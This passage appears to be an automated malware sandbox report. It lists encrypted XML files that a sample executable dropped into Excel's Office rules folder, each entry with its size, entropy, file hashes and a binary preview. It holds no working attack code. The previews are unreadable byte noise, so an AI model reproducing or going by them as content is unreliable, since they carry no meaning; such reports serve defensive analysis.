Preview:	<?xml..6[....T.1..<........N>.....~J... .x..Y).:R;.9.;Q.ir..&+.V.}...)&...........}c.......x..N....%0._..\|.K.f.Q.K.hq.e.Z.Q.\|..@..E.^....R)i.-..\|..i.r.`j...M{W...l.c.?.].oH...U,.{..r.>....^..}i.gM....z..'"...e`4>.n.>..o.........N...{.F...."...wm....... ..&#..:{U..$......`?D(...n.m..l.T...9n]gEb......>..%GC.R.vj..s<..KJ.v...._..q.....y...8..3..f..Fb./..i.Cj..q;...........^~J....\|.`...).g.........]..3...k3.+...?W..E..]I...+.Ep.zusp.).Xo.o..{.n.+.4,v..Y....q.m..i....,..`.~..b..g.b..M.3_H....y.&....3..q./..f.D.........f....o.+..'.]..]...I.....Y)....i..@ ..s+Q.Z.q......i../6lt.g{.Zv..._..4;..wjN....p.........n.o....A..9ur...;,T......7..In.......$ye..h.L.y..}.c..'2/;w.9vA...K.4.O..m.e..~..:..3..u....x~V.....i...x.NI#l.% ..l)..J...].g..{dcw.\nRO......WN$/l.8.....t...?.uY.G.#...N.1.e.........^^.....A.+].o.:q..=..}9C.m.....n-.....a..t.b.QNz.....*...Y..W...........!......wF.....2..f...az76^..f@.p..s...).:hBg..hf......:.a5.=.W.(...O].a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490023v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	7.850952577551268
Encrypted:	false
SSDEEP:	24:oKcbj+6s4fpPACWWy8aSSNQvZoaDknhA2SSxY7lQAiTkbD:c3BPlLaSu0ZowWhArgY7lEiD
MD5:	6B38D73EE4B664717BF424C98D6E11DB
SHA1:	72524DBEF64C6B2D384B80C77783E5B91DFCFB81
SHA-256:	42636C492EF06327FCD78A7AF8A99990D94E6D0E9E0565B4948E7DDCF6936178
SHA-512:	510C873809C60E9FEEF8FB2090DDDFC8F648B3F80423566242CDF15E509D5AB1E12673EA2FE34EB8CF52181F150688067E2B4C11AF5AE73D08823DD132B64B89
Malicious:	false
Preview:	<?xmlU)"-..........[.._......o.xJy2......(f...?S.....r...:x..-.%J..S.....&A.-..).3.}.V.d.......'u.....P..S....v...jWR..c....@..^.\...,p..u...6.<.....t..U.;..<,T.u..Rd......b..B\|C#2#.N.C.H.........#&.9...L..T...B..Ic..E..-@..".;..#...3\..b`z.)j.....3..A.(/....u.....E.p.....<~YH:[....3.>.:...s....O..C....L.._.ji.C.......t73..........G.5%.U.{....f.^....L........g...L.N^%......("...O6.;\@...3...J.....0.f..C.EE."./...Qa@r..\..#...(.3../.Q^.oU.)d..O.F.5.L".....m.k0.4.q.ma....',..T%..9...U..a PX...%r[0g..}].nv."........Qm.R.B.6.y%.7$...s...h.%q.FY%..i....J.6.k'..q.m.]WA..;..sg1..gs..x{V...g.[.$f...?6....;.h...J.1..z..0..U".........q..kj.^...q+....k...^.$f...X.,2...+..[&8e..../.K:...Z.......d.\`h.{.?..G..O%..z.\.:..,...h...A..l.........%y.8#\..aH....E...gK.\Wsrd.p9D..O.."..[.......}tK...q..!O(.Q..d.x.......u'...E.X...tw(=.p.L.g.YF.>...Z.A;.Vz....X...8......7.3..]8.."+.?w.n....d}....M8..Lj./.2o..=.";.gou.q>.P.".... .m......R.}...M....g.G...S.}j.\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490024v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.755475807473286
Encrypted:	false
SSDEEP:	24:IPnGuJfMXrzeKkIWMKJF+BfVkBDbjI3+G+7sosP/NFIc6pc2liTkbD:IPnGGfM7zeyTVViDbfG+gosdGpFciD
MD5:	EE0DFFF7BD9AE2703DB24961D8A2FB8D
SHA1:	54E3501C31E5ABEA074EFFF48163E5FE06EA9A77
SHA-256:	B829195264DADFCC11EE947ED8C2511CC9051681B39EADD185BFD41133D721B7
SHA-512:	2E4386B2DD7F0376711DF8ADBAD82C6BC3A1B7389E9AF0CCAA13288BC805CA6A2E97BC26EECC523749A9B2AC93C059C761FCE9EED6332907BE12EEA0FC4E08A0
Malicious:	false
Preview:	<?xmlz.....?Z......>@.G. d.+.........;#ao.Y..Ey...8....e.8.....G.R.\Vy..>x%y..`Qx.h\......!.......09.....K..b=....&...e.GH......l......T#46.;%.....3@?....l.q...o.....P)q.5....M...#.....{....bs...Z.g.=4...Z.........!.4c....jx...P......Z..H..Wt.t<......sgAm.....>.. W......\|.....>~X.........0..........q....e.$....~..i......m}J.oy<........Cf.Ze."D...th... .?e...?......F..I...<........Q.AJ...FV........^.V....t.= ..!l..).p=XX..i.Bm'.....hm{D...J.b..~y.^gpK...ql...,[....u..Y....ZYRH.8..FPl...&}.c{..=.......s..D.3\|AF...C.zs..m..i...Y....Y........22..n.p...=..u\|..ml..J...6..@.b...Q<..J/S+.n2.eo...$.}V...N..e.>4<.[........r..C.....2.}l)........T.g.]....r..o.....VA......9..=.R...-.E....H....)u.h..5.aWUJvEq.XV./.:....6CO.;.k.ylKr+....rlk.0W+.,..'I...KWr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490025v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.704922972671837
Encrypted:	false
SSDEEP:	24:Lx5vOIDrfoH/2CAcOgTIwYRJwTMpJrFiTkbD:DpsH/TktwTKJgiD
MD5:	6FE7A3D5AF9FCECBEF9273A60DEF763C
SHA1:	959E6B91587C83543D6C23FAE40B9A34652D0050
SHA-256:	DE5CD78990A6C50B3DC84BC8DDEDDEF265301AD7EAFD920E380DF55837E3C9F6
SHA-512:	DBBA22C9CB22DDD10649F59E7E68A42F23A9EB0CE80BC4CF1DA9E41CCCCBE5D23E78E4384B91CF1616DA65A5F4AAE5C5626DCFDADE191C0E2DC77EBDEEA5D2E7
Malicious:	false
Preview:	<?xmlT...p%.f..TwyM0.I.CC2.e%..!'`.I9zo.f3..H.[pL.#>..l.r.....bW...-.U.%. ..J$T1.0..p..U.C...,.:.km@..u..4..2e.K...y.:'5.2..A)..MC?8.O9\|#...&.0I..{PFT.....!.!.E.b.).........Q..Q.S&j_.H.#0w...A-...NxL.f...i..: O?g...#.B.$....d..n.st....F....'S$.jGlD.....+. !..."6...#..j.YVS9.,O.YZ.,X..A.".....5..Z.v..0.W....K..-.sD.0...S...M@..\|..xP..(P...P...q...$.....(...c0H.ig. .5Ym.gI..b..".@V..P:..i...P.qm`...t......B.P.G.f..&L.....i..C...CN..#...2.._zg.!~..M.Lt..hc}.Y.'T.t.n^..-.....V...\|.u.x..:..v.#.....={+.#-..8.n..xb..0F....8....N.P.@...E^.zv....^C.\T..q.m.#..rE:i...0B.$.f....)..?..i(.."I.1.jr..i.6...F5..\.M....^.':F.._..D4n..,.....G.......@L..1....u..i.'.A?../.....v./ .9o..B.6....:..qO..O...<...o&~sz%...........g.....Os...[j..m....]..O.......!..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490027v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.722305859669635
Encrypted:	false
SSDEEP:	24:022r1n40z2RU86yFKhZduklmLZBjhVUEfhq+iTkbD:02K2RU2F4ZddgLZ747iD
MD5:	0811D07863824D57238A2B4ACE887722
SHA1:	C16733CD8293B04EEEE0261628F381DDDF7D9924
SHA-256:	704231DE2036FFA96839CFCB73EEB8D465167C130FCA7D4023A98EA46C085494
SHA-512:	F7D091032DCDFBF5230836C0FB6961DBA83AA521CC170F8E95189E5B51D31F35D0B4F58EF9A927A51809C2751C2925569D720493249344B3D6F42B6DAB35DB2E
Malicious:	false
Preview:	<?xml'.I..'.i=c..q-U6s...4s0.mjO.Ig..h.J..?~v...4.W..........Xl.8.bN..0.3,h.U-.,.C.......+...9};..8.9..xA...p<wy....X]y.L.4..U.......V.w......n4.Q-...iX........{*..;..dA."0..:..+N".+N+?i..t-._..^..B...Q..0G.;....,M{..t..>l.......j..2.@5...E..K~`-.....]VXk..S..+.>...........1&..=\..@03I$,d.$..8.>..."R.j.[.^z.3_7.}.....tl......Um.}.^.....>8qfh~I.o1m..\|....lbu.....9...h...9..j.(._.&K.y..6.....W..ZO.H....]BL......l.e..t..7/g:0.h..t....o..S.0...t.fo......cltD.8....JV.....q......W.{.Y.p.Dd5......V.,dk....R....,Q.......`S\|.....h.U.D.htV.iJG3w...k.\|......l.r.9).......\...v.&.d"..g.7.5~...(......O..Q...V.d.......i.. }x.?....L..A&.Z.....Y.P5.A.d....W.d...{..@U.....12........j....k.....G.,..O.F.....,...n.......-.....dL.}.....k....pN.m>..m=..{r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490028v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	7.819714466601385
Encrypted:	false
SSDEEP:	24:Do0YaIaxNYnq6k99A00KtGpl+WlQz5m7/M46iTkbD:DoV0NYnq6k99AGt+lw5mPiD
MD5:	623FE25A7B0AC70605BE9F4C2E216FF5
SHA1:	E9E130E99685D3F5388A25BC6BD3EFFA07798EE1
SHA-256:	B01EE8302A5A8D668111AD080320B1E23EA5D9C0B657F41B00FE01C26DC942F4
SHA-512:	7F5048587A5193741E773C14C95F632E4E2EA550455528D87EC12884619D0DC035AC12A232AB53977E094FD6D9C0B3BEFEFB422C75418E7D0B97CF7191312635
Malicious:	false
Preview:	<?xml.j3i%.:.O.bL.......f0'.}.El.([.~g..H..j.`.S'0......y..+.P...e...!..@.Sg...T.p...&.5r........].`..&1o.WQ.kJ..f...T..O.EF.C.G.#v..:....2.s\|.n....3m%f/..x..f<(xE...XQ.=.4a...e.....-........\6...Z..;...N..aQ...n.k. Y..2.f..._.S.B.-...2......e.....h...P...'Q&.Xgj.\|+L...(..5:4.C5.F..$.!....N._7........m.e9.[~......U..\..i.s.Z.... ....4.<.7.y..q=i>.#m.q.i-C1.i..H7\v...........e...Xw.x......T.L.....<.8...:V$k~.aI ....^<........NK..G........@.Y.j=....&.......nu..(....R......'wA.c...[b.O.X..A.o...h.?..Q..r....=.N.Z:..$H..S.@....I"....X..o..]H.V..t....l.o...q../.a@.<......:R.$...,b1.o`q..7.<..]..s..9.a1^..9}OP...M.!J.o.....).~.>....k..V..."0YU..X..\.I..a"U..#..u..-..n...G.5'U..@3+...5M.....M.~.\.2O(...G_...?..c... ..TN....!...NU;.Np.$..E.7....p.)...W.K.-!(HI+.>k..Y...a...m..g.aF..RWR..W&=.]K.....,Y(/.-x..:.ul-...R..sxl.n...G7.L.d....],....m.t..K.G3o.O...U...].i.Z){....BN.q..H.~.e.M....Z.%.......3[..........5~...Hr6yxl1GT8iG2X6JaJ1YNn

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490029v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	7.682393125397744
Encrypted:	false
SSDEEP:	12:fUr1wgMUbtPU17gbLDD19uEsYHxFp2M0gMGNpMbHGX+O4UMMebDjLGixpZacii9a:fS1wJUhMyP19utuzkMUw+bHGOPDf+iTW
MD5:	4CBAD24ABBBDC6B4176A9E4F3CF54125
SHA1:	CDC96215C26722F84CEF08C880A345FFA22F57FA
SHA-256:	F0D8224767FD9E16498DE5D106F3A7E2AD3D48172ACCEB5EF8587941CD4760AA
SHA-512:	5849B15B32BD4AC362527B16E61A34CA6C031BBFA5D882C48B7E4050B3CAE1C79BF5FC8018B3943478CCCF9567EFBD84B6FF4036C5D537B01861526C7086A78B
Malicious:	false
Preview:	<?xml...M.Q.]Q=.J.g.,.]./.d.5Q...N.s.......1I... ..O...1.{.ms..p.0..D..)..8.p<..jk=..]/3..I....5Q.%.t.5.._.....UQ"....-p9%..M..2...Co\.......E..o.3.V.a:...-.S.u..h.iO7.*....re...f.]...:..c..p...s.+85.l....b....5MG.r[.#O..\.o.r.e../.(..Lw..^.A.....F.8.w...."l....\..X....:m..cs.cs.nP..7t.J...O.?7+1.....55.......k....Pi..Gs.....:Hi.}w$.l^G2....M......m.....g.5.-M.6&.}.N7.9.%.XT.gM......A..O#KkU.B....."1.n.!bXv....J.h.&..8.........?...n.K.14.."...x..J.g![6..f,.........kT[....$j....M....V.Y..._...D..".b..W.[c...\.K;..%..W.\|.RX..H..s..8...:C..g.i~..e .I. ..L......u....,.5..w..(.W..D.I..Lt...c.q.)`.?...{..../,/.m.,..."R..........weZ%...E.n.N...:q.T...~_..H.....).$.0r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490030v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.794692087614117
Encrypted:	false
SSDEEP:	24:3xCQilZ/dNsOzA8TkzaeSOR5azrgiMvRh2SwNqYH9D6VJh1GiTkbD:BCQ4ZB2ue7R5aPgTaSwwYHA5iD
MD5:	AC41A8D98F09A17F5904E9046DC2E240
SHA1:	7D6B95A3925B9C0DD1FB4355B38F300223E0CF3C
SHA-256:	24F43F7EDC1227E2AC81F46C9691B3415A1AF2F60DCC1C14BEA3761F7A524EB1
SHA-512:	7118E88F995E827126900CBB44CDA7AE52B22F6CCE1DFD910AACA42DC0B9F0B00DC39563F7CE1680F536C47FCCCEB9568D5228A722FD8A18A68CC94BC0DAF189
Malicious:	false
Preview:	<?xml...7u.......jt..M......Y...UHT.....X.Fcihe..../!...K.../jXQ........@-.JZ.{0.......d.../s.V/e>......P.u9Z_.d.<..s...l`lf-U8./.yM/.....\.$.kCs....b..}.ao.<....P.4Wf..!.O.I...A..1Nzw...~...Aw(....Y....Eg.....-P.A.'.%o.6.{....$T.=..p\|....{.0...\|..U.C.R.8KL.B.$.f<.V..G...V...5....` :.J~T9.Bfs....C.L.h.9r./..g..KR.;AQ.7"X..t.=.w]4...;...#..nO."...g.q..H{...:...P..s.....'A#..Q..Q...XK.#.......=s..f...\|.}.9.....27...[.....'.8....}5=...[...Y.&....Qf.C..Y.pZJ,.gV.%..8.=.8..g..Ce..=C.V....[.YW..?...M.....BQ....o..s..aW...'X.-5.u,.....}....E.jV.G....$..=..,.&u.1..YXU>..v..8u.^:.V.5A..`<...0.@..o-......O..^N@.!........o..VqME.<7a...Y..A+?...i...4...FK..^..d..I...(:-U.#&{..4yg.r...F......h.b4..1jg..s7T.jG..... D\|..391.....tM-;3p.+..9....xl.\|. /."[H..\..U}..iP.G.N..(.......2...Ws.v3.l>..m....T.rqS.Q.[..;..o.`...L..~.:.Zw.vt..I+..B..62......'..V4.N.....y........\|.%.iJ.~.`.......I....n.D..g......./...;.my.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490031v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.775428993875142
Encrypted:	false
SSDEEP:	24:3sm6ph8hE1yrQ2JRzratzZ1NXnZN9FKn6Wq2kiTkbD:d6pmxrnjvmz1ZNkBviD
MD5:	178193EC6438F87965F946CE3E4CE522
SHA1:	871486B9BCAE8D7F6AF379DFD99330BDD7FE5D48
SHA-256:	C8B8566D2477BC5049848295027873ED676C0766F9D2B42543EEF6E3409B767C
SHA-512:	9A87CB0FB4D46C93452A2F16079BFC0553F829B9D750C058785BDAD24E09816C76D761C2F43CFAA131445FD8CC3AF99C8E3A885B5FFBB4B7E250F8687813BF51
Malicious:	false
Preview:	<?xml........Vu.M...N!.O.E....i..1..q.0...,....rM..^.J..k.:..."VDQ.e.I&}.........8.$z....n.....p.pE(..k0.+l...l...O..F....t\|6].3}.<.wG.K"...P.7.....'(.....i\|.Jh.....^....r..C..Z..j -.yiON7&2?....d.{..O.`......Z1G=.?..s.........f....#He.......)..F{.:..............P...y?.X148m.t".\|."l..U.p.!..5..../f....^...l.....d..0...O.!.E...>.....;T.??pm....g.A......Y...K.s.....y+......+....r&.U.H-#p..R...#.$.$..X...5....e.A........q.I"7..V.{tJl...u..BA...)..bgX...7....g.g.Wf.....T.=....W....W\|.{:.......e......7../..@.u.3:/<...v....r.,..D*.8]<r}..qX..B>u.j..Y..1......`.9I.:x...F=hG.5..K.... vz....k.(.k.N...{-<...M.=H..i......+......A.9{......._A`.t8.,."..0...]n.8.d.RT.I.?@I(.9H+,.......~].c...;\|.....V2..9Q..sDC..#..w..........1B.tK;).....L$"Y.7;(....h7M....j.D.N....s...fHa4..3..c.a....?1C\....i..>..V#......_r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500000v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1147
Entropy (8bit):	7.8374607176569455
Encrypted:	false
SSDEEP:	24:IphBpXrD6Dc0VNZ1+JbNERcGftFMyslxkkhKVdqTgnR2Hg8UiTkbD:GhTrD9WZehERcGftFMyIxkIE8iR2Hg8s
MD5:	4622ED9C0CF8889C05C62926CA95B4C8
SHA1:	4D7D9E8175788368E8999E36FD15A8E652A4CFA6
SHA-256:	0857488C2D45D1F1793F52D4CF376D7574DDA4F40D54E1627BD8E61E090927F7
SHA-512:	F3501447A375A9BDDDF712ABCC7192D4492F2A264B86F943A981C9E0E5DF6ABECEA10DD671F37AF9EA0D3DF1CC2F51678D8D2C59D63FEECDEC6D76FA956E5F04
Malicious:	false
Preview:	<?xmli....KBuV..bZ.9Z.....O.6..H@...k..t ..C..,..5:.@..1?..q.g.S.RY...vBh......l....Mi.3UA.k.ErO..5..#'\|.\...z.&s..1.~8.R.Y..M.n..7.=...@.a.#L/..+..q..<o.8.MY....(.........v.[Y...^/D..fg.9..+....].......4.GT.V..(..p...h...Y....=._#.R.....+@.2X.L.....\|.....K...@.....y..J{.elU.b.q..........2.....m...9.b..!..%l.v@....(.m.. p.M%...^..o!8...9.ov%....&.s.1?...F.V.F.......n.eT.....~.K....X.8....5}\r....L$.0A....j..2f.Z.k.C..;....e.y.HtI.4.4...{...>........b.%N.V..A).7..uy.......}..=.].<x....Q7.{..U.%G.m%..u%$...m.;/.:....F..f.hI..e.....D.V.Z,..e.w....Dz..S.[..QA.r..F.?@..V.@..;...}c2...Y..P.(.3[Pj.D..O..`\|-..X..R....`.%Q..+=@..A..M..A\|,5.......p...O.T.5...z .........b....K.....8.p...mL....]...Z.#.n..}j.G.......Ie...ev.(..I.E.B.6.#..2dD..E.{.?<..3.......L...?..h^.......1..z4..,..O.w.].'.E.d....O.......].pD+2\...x..vU...t..9+..].7.q....jL..n.c}..;u.....u..t...&..^.Kss.Q..........S.Z9.........a..!t.5.......d......X....i..B.....'..).x....].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500001v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	7.826563467371878
Encrypted:	false
SSDEEP:	24:TJZgzG6o6GdMZKveRDocyIgjtyh/b3AK7Ucb0gPY3Pn5UAtHXlJ/iTkbD:TJUrGCZ9RDYhjQZzbb1PYveOaiD
MD5:	479C41B58CDEB6D69989E0CAC9B0FF48
SHA1:	23C2BD2FA7A4E566DDEAA5347537C81510846182
SHA-256:	6314AFCD9751E1EE972885017DCC1A0D0377FE239957458F4D266B289AC6A540
SHA-512:	87C59435392A9FD915CADC5FFE18AC91807E4F341DE3CF2BE7D0D7F08DDF97C789F52A6765156153EA938BDE1CF68E489FAFFED87358D7D7087E95C7861D77A1
Malicious:	false
Preview:	<?xml.........Y....g..m....Q.+.?..... ..s....q.5.........r3t..K....JV7.R..9..q.3k.z;..f.........=....X.......o!P.N..r..I..w#.....cj...&..k...!.1..0"frB..\|..C..q.c.....D.w....-_.`P.c[.~)..\.[x..o.^.\|...u.\...<..S5.....=.)..M^-....>.Gf.}..zV&.s.C.4)..I.l...^BHg?.BO..p...8....9.W..f.....B....?.4...g..V...F/^z?S..Y....st{.urY.....=.....=.....x..n...M.>.x....L.%..w\.m......jT.O.y.6.......s.i.iM.m<..fr....7.....Vu..... .Y.9.(w.dq.G.M..!... ...@.J.4..=.b...........Yv^9..U....q..p......3.}z..U.g.R...F2.`..U!{.6....&)..%#..../v.0.(.:...q...~........r...j-...m...!r..{..Bo...X,JN....N.Q.....+@.e...&.......,f...l.,.L..9.h.yW..vaB......e5.e'.....{...$..=...J+......G.=.0..%..X...O.=...M+..H..$.ws..Tn......c.A....(84....F.....V.Q....:......+.#...S.y. ..E.5..G.\|s..F.}M}.2.._' r..r..(j...f.N...2..N...E"_J.i?p.C......L....N-.Q...\|jQy....).....A..p.."..[..6mUm..x.I{....m...b.[..$...5.CB.'3U".Db..f.....p..k)...:..~[..a....UpZ.myo...I.....5@.......=I..{.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500002v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.8421241912624025
Encrypted:	false
SSDEEP:	24:56g3/NjrOPXk+B5AdO7OO/h5TsqpC8j3qal7fBVyTafziTkbD:56QSvk+B5D7vsqA8j3qal7TyTdiD
MD5:	6E7A071503922B45CAD00C1AC1DEF745
SHA1:	F7B2B70A61A24C94A3F67EDF43C6AE66AAD527F0
SHA-256:	10E5F957EC0FE231E0EB0FF5903E3825108885548B7FDECF781E39136F230FA0
SHA-512:	03A14D42C05A14AD79CCD7F8494C52768EF06904C052DCD7840D900FA83D5FB4534E04A6B314F2D2CB83EA96F38A9BD1B0C22DEA0395FD6C06738F439804CC49
Malicious:	false
Preview:	<?xml.......6..I.M....(f.>..g^A%).r..w...\..F.....a+..Eo.+..Z.)...\.f..k..O.z.Q.GA#\|k..,..~..Jw.$w....e...R+y..,...h..3..;..+ S.e^8..j.z....k.c O..Z5...wT..w....N_.Q.U.s$.jC3v..;......n.aX!.~.`...V..G..%..d.A....V...y.......3Fs....}..C..5.\hj.2......e.+.;...V.6.;c... ..>..g...\|#.{.e......l.......H!....H2t..~$..^U.N...$ul.........Z.Yf+......\|...A..e..?..er.Y..t.z.[cIP.m.+5`...?Zr..J...$V..O.#.v...6.]uZ.I.F..1_..._T .vj.?T..-y..i..}....x.d..;..s.....p@.EM....pz?s.+.j.Ht...H.g\|d....n.~....!....=h.....;..)...l.....v...:.D3.{.{=<.....+.j..M..<<".....h.=...../......R.......M.....hz.`H....X........V....b.[.S.3..x..Q.O).!...9..^x...;.6.*...^.".7...y.Z..3.N..u6...Vj.O......{.K.9.x...t.~.p..t...E...@...Y..]pN..$.F..gOg..ae.QQ%.}(PX....).L.nV.......&.d!.J.........UMXm..l..[..M.}$$e!.h.=w....397...O)..IQ....4......W.....]9k.]VWL.e....X.o.......v.......?I/..q+....7.2...V.3A.q.o.h^(Y.J4.......8.<.vo.Z.lR)....I.C8....?\|..^..b2.ow.k.U.^...T.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500003v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.8212669599389875
Encrypted:	false
SSDEEP:	24:P2lhEZwRJw6iwnUyMNuThTGUDZ6MD4Uz4d89vuyWr0V+OLR6SDBClIbSykgiTkbD:eTbw6iny2uT1kMDz4ChaQ0OdXDkNykRq
MD5:	F5F41D7A33372366DEE889749388963A
SHA1:	E9DDE4F39FD7673F52449D6DCA528DDE90ACE9F9
SHA-256:	1F1AD270243B9EA28975E31E7D0462190014F15DB96B1ECA65168CFB85EA5E98
SHA-512:	F011C015751EF35A9B8AF9263B59E79E06689A0270564A110D0194BB3A5D4E1715DE2034989680332FDD62ECF500B0CF551C42E81D9DD60B1D5843ECB5156B39
Malicious:	false
Preview:	<?xml........q.l.0^.f.......T..U...(.s...e.<t..1.(.D..l..y...@..V..i...(..y..m1...d...Y[.!.V....zp,...R...L.d...V...^..L....\;=,p....._../....OG\|.Kf.P...^S.tM.zh....,.0....4.R.h0S.E..............(..m..f.D..s. ..?..G...Gg+..FA...j..R...1..:Z.s.h.,5..O._.U.+s......t\|a...\" ..ul.N....U......'...#..A.Sr.cD{...E.....LB.y...K...).N"..#...c~..{..ze.....A..E5..>d.b.i.<..%..T"g....\|.I.kO.......$.GS..C.R....?"..=.13p...I4..E...#Y....~........y.. ....3..b..._..:p.E.`X'..J.../.bW.St5..R\...^..k...#..@.....W........>/F.5I.Jl./0..).V.7......z./+Nn.x&U...%.?.NJ6..+.p...t<.U.\|a..,...j...DX8)..'.9......S[lI..l..[j6......K.E=...lu.[...{k...<..,...;........WP.C.S.M!N!.{.8..;B.6.N".......r.&....%q%`.....?...XU..F..>3....r..gg.x.z..S......F...+.F.R.qE.kKc.'...x......}l......;pd.eT...#G..~.j.+.}0...O..5%.@.../..h.3h.r...C..%.....g.L.'.3.W#%..U..h[..un.A_>........../..J.d'.].o....>L.ki~..$m.^~_E.Gp.'.0,.PJ...ev..FB8.#...E-.$_.z.Kd......~..$_......J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500004v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.826933641673745
Encrypted:	false
SSDEEP:	24:BwtxOxFdq/Zzm4cFrBlWoy9JEqa65KZfqqNkFCEhwiTkbD:E4jWZtcFi/L5KZfqqNkFCEhBiD
MD5:	291B6CB967E20C1D3643414290C40E00
SHA1:	BB25BAE53D13D132DF380576A42AED8DEA0FC9EF
SHA-256:	7C389573DC1195D59BE7D388C4D9C122D66D479858EA421C9EE74082EF09C76B
SHA-512:	47EA5C717AADCC9D448BC1E36DD730CB379197EA3ECC988ACD25691B6C5DFAF62FCE6004731C605DADDE544128CB4B9B8F41667EC151D16E3321F16A0B631844
Malicious:	false
Preview:	<?xml.n..6..f. .`P..e...V]+.:.b...H...[u..m.{.<B..JL.o...K0at.k....MO.{{..Gw.y(FC..o...t..:......FSI$6~.,..x.r(...q......,.0k0.C>=...5......X.RVb.......i.r;.....:'.....aZ...ir...Xk..&.k.pu\|.>.....D.......Q..B+8$-...w..z\.-Ot..=i....sH..GW.5.{AW.!d.......FF.....T=....C.I...(....&.....z.....lH...Q...B.L..q........dp...{....i)cAQ...%...5>.g7F....l..F..)}.......v>)c.4r,.b...<-..o.d...B.H.B"...-...0.......A..x.pkHj.8.h#.a.......\|..._0..{...........cX.]...0..........+..d... T.. M..;9.NH..Ta,]..:m.z.....1.ht...Hb.Q..8...'.s.q$..wn'..G..R.. =.(..im..G\.m...Be....,....r.7..ZR7...bp...}...n..A\|.r..4.K.M:....n...p.y...K.{a....<..Ls.x..4.`...#PA...:{s.]....c.c.....,.. .D..q.....q...V.+..!...y..YSL...7..1.....;..T..ESS...QI...X......,k..a....Qm.!.Z5....1%..o.x..t...0P.<..y./..uc......@o.VU...U>...".m..Zc.F"\..k.rb}+.M..:.n.`...<.X..(......g..].UW...{9../'...w.ro..#.e.j.?........_.$.r...P..X.?.w.-f.qzV43..QT.\.R..*..A........u.......C#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500005v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.797708305200911
Encrypted:	false
SSDEEP:	24:6yIGe88bt4v5A8EJ+gHY4pa26Wt0hm5OtKCZfLiTkbD:6yIppm59EcgHVa26KOtFZmiD
MD5:	9589F6F04DB223939A7F6179CB4E04CC
SHA1:	21EA60D11567EF58183940CA3D3B5AD308BE7E32
SHA-256:	5D3A3DECDE8C973D57D194247785BE03F7741D3571DD75EABBF04500E7B4F84E
SHA-512:	31B5D1519A58BDF4BCF2065A53CF5FE435DE635BDD84C37F52A8A36000915851318D2B93607E8CEC2DF02795F0336BB55CC75F2B9C5E58023BF19C25BA3DBB52
Malicious:	false
